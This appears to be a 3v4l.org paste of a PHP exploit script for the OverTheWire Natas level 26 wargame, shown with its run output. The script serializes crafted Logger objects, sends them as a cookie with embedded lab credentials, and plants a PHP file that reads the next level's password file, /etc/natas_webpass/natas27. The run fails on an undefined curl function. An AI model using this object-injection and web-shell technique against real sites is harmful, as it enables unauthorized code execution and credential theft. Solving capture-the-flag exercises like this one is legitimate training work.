3v4l.org

run code in 300+ PHP versions simultaneously
<?php $filename = "4864".".php"; class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct($exitMsg){ global $filename; // initialise variables $this->initMsg="#-- started--#\n"; $this->exitMsg=$exitMsg; /*$this->exitMsg='';*/ $this->logFile = $filename; // write initial message } function log($msg){ } function __destruct(){ // write exit message } } $greet = function() {}; $msg = array('<','?','php ','echo file_get_contents("/etc/natas_webpass/natas27");',''); foreach( $msg as $m) { $obj = new Logger($m); $func = base64_encode(serialize($obj)); print "<br><br>".$m."<br>".$func; $c = curl_init("http://natas26.natas.labs.overthewire.org/"); curl_setopt($c, CURLOPT_USERPWD, "natas26:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T"); curl_setopt($c, CURLOPT_COOKIE, 'drawing='.$func.''); curl_easy_setopt($c, CURLOPT_WRITEFUNCTION, $greet); $page = curl_exec($c); curl_close($c); } $c = curl_init('http://natas26.natas.labs.overthewire.org/img/'.$filename); curl_setopt($c, CURLOPT_USERPWD, "natas26:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T"); $page = curl_exec($c); curl_close($c);
Output for git.master, git.master_jit, rfc.property-hooks
<br><br><<br>Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czo4OiI0ODY0LnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjE1OiIjLS0gc3RhcnRlZC0tIwoiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czoxOiI8Ijt9 Fatal error: Uncaught Error: Call to undefined function curl_init() in /in/EinHv:39 Stack trace: #0 {main} thrown in /in/EinHv on line 39
Process exited with code 255.

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
44.32 ms | 401 KiB | 8 Q